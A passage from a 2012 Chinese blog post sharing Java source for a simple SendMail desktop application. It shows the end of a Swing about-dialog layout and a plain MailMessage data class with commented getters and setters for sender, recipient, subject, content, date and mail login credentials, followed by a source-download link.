196                                                                 appVersionLabel))
197                                         .addPreferredGap(
198                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
199                                         .addGroup(
200                                                 layout
201                                                         .createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE))
202                                         .addPreferredGap(
203                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
204                                         .addGroup(
205                                                 layout
206                                                         .createParallelGroup(
207                                                                 javax.swing.GroupLayout.Alignment.BASELINE)
208                                                         .addComponent(
209                                                                 homepageLabel)
210                                                         .addComponent(
211                                                                 appHomepageLabel))
212                                         .addPreferredGap(
213                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED,
214                                                 19, Short.MAX_VALUE)
215                                         .addComponent(closeButton)
216                                         .addContainerGap()));
217         pack();
218     }
219 }

/SendMail/src/com/b510/sendmail/utils/MailMessage.java

  1 package com.b510.sendmail.utils;
  2 
  3 /**
  4  * 邮件信息
  5  * 
  6  * @author Hongten
  7  * 
  8  * @time 2012-4-4 2012
  9  */
 10 public class MailMessage {
 11     /**
 12      * 发件人
 13      */
 14     private String from;
 15     /**
 16      * 收件人
 17      */
 18     private String to;
 19     /**
 20      * 发件人,在邮件的发件人栏目中显示
 21      */
 22     private String datafrom;
 23     /**
 24      * 收件人,在邮件的收件人栏目中显示
 25      */
 26     private String datato;
 27     /**
 28      * 邮件主题
 29      */
 30     private String subject;
 31     /**
 32      * 邮件内容
 33      */
 34     private String content;
 35     /**
 36      * 发送日期
 37      */
 38     private String date;
 39     /**
 40      * 登陆邮箱的用户名
 41      */
 42     private String user;
 43     /**
 44      * 登陆邮箱的密码
 45      */
 46     private String password;
 47 
 48     /**
 49      * 获取发件人
 50      * 
 51      * @return 发件人
 52      */
 53     public String getFrom() {
 54         return from;
 55     }
 56 
 57     /**
 58      * 设置发件人
 59      * 
 60      * @param from
 61      *            发件人
 62      */
 63     public void setFrom(String from) {
 64         this.from = from;
 65     }
 66 
 67     /**
 68      * 获取收件人
 69      * 
 70      * @return 收件人
 71      */
 72     public String getTo() {
 73         return to;
 74     }
 75 
 76     /**
 77      * 设置收件人
 78      * 
 79      * @param to
 80      *            收件人
 81      */
 82     public void setTo(String to) {
 83         this.to = to;
 84     }
 85 
 86     /**
 87      * 获取发件人,在邮件的发件人栏目中显示
 88      * 
 89      * @return 发件人,在邮件的发件人栏目中显示
 90      */
 91     public String getDatafrom() {
 92         return datafrom;
 93     }
 94 
 95     /**
 96      * 设置发件人,在邮件的发件人栏目中显示
 97      * 
 98      * @param datafrom
 99      *            发件人,在邮件的发件人栏目中显示
100      */
101     public void setDatafrom(String datafrom) {
102         this.datafrom = datafrom;
103     }
104 
105     /**
106      * 获取收件人,在邮件的收件人栏目中显示
107      * 
108      * @return 收件人,在邮件的收件人栏目中显示
109      */
110     public String getDatato() {
111         return datato;
112     }
113 
114     /**
115      * 设置收件人,在邮件的收件人栏目中显示
116      * 
117      * @param datato
118      *            收件人,在邮件的收件人栏目中显示
119      */
120     public void setDatato(String datato) {
121         this.datato = datato;
122     }
123 
124     /**
125      * 获取邮件主题
126      * 
127      * @return 邮件主题
128      */
129     public String getSubject() {
130         return subject;
131     }
132 
133     /**
134      * 设置邮件主题
135      * 
136      * @param subject
137      *            邮件主题
138      */
139     public void setSubject(String subject) {
140         this.subject = subject;
141     }
142 
143     /**
144      * 获取邮件内容
145      * 
146      * @return 邮件内容
147      */
148     public String getContent() {
149         return content;
150     }
151 
152     /**
153      * 设置邮件内容
154      * 
155      * @param content
156      *            邮件内容
157      */
158     public void setContent(String content) {
159         this.content = content;
160     }
161 
162     /**
163      * 获取发送日期
164      * 
165      * @return 发送日期
166      */
167     public String getDate() {
168         return date;
169     }
170 
171     /**
172      * 设置发送日期
173      * 
174      * @param date
175      *            发送日期
176      */
177     public void setDate(String date) {
178         this.date = date;
179     }
180 
181     /**
182      * 获取登陆邮箱的用户名
183      * 
184      * @return 登陆邮箱的用户名
185      */
186     public String getUser() {
187         return user;
188     }
189 
190     /**
191      * 设置登陆邮箱的用户名
192      * 
193      * @param user
194      *            登陆邮箱的用户名
195      */
196     public void setUser(String user) {
197         this.user = user;
198     }
199 
200     /**
201      * 获取登陆邮箱的密码
202      * 
203      * @return 登陆邮箱的密码
204      */
205     public String getPassword() {
206         return password;
207     }
208 
209     /**
210      * 设置登陆邮箱的密码
211      * 
212      * @param password
213      *            登陆邮箱的密码
214      */
215     public void setPassword(String password) {
216         this.password = password;
217     }
218 
219 }

 

源码下载:https://files.cnblogs.com/hongten/SendMail_yousini.zip

I'm Hongten

posted @ 2012-12-04 10:06  Hongten  阅读(8292)  评论(5编辑  收藏  举报
Fork me on GitHub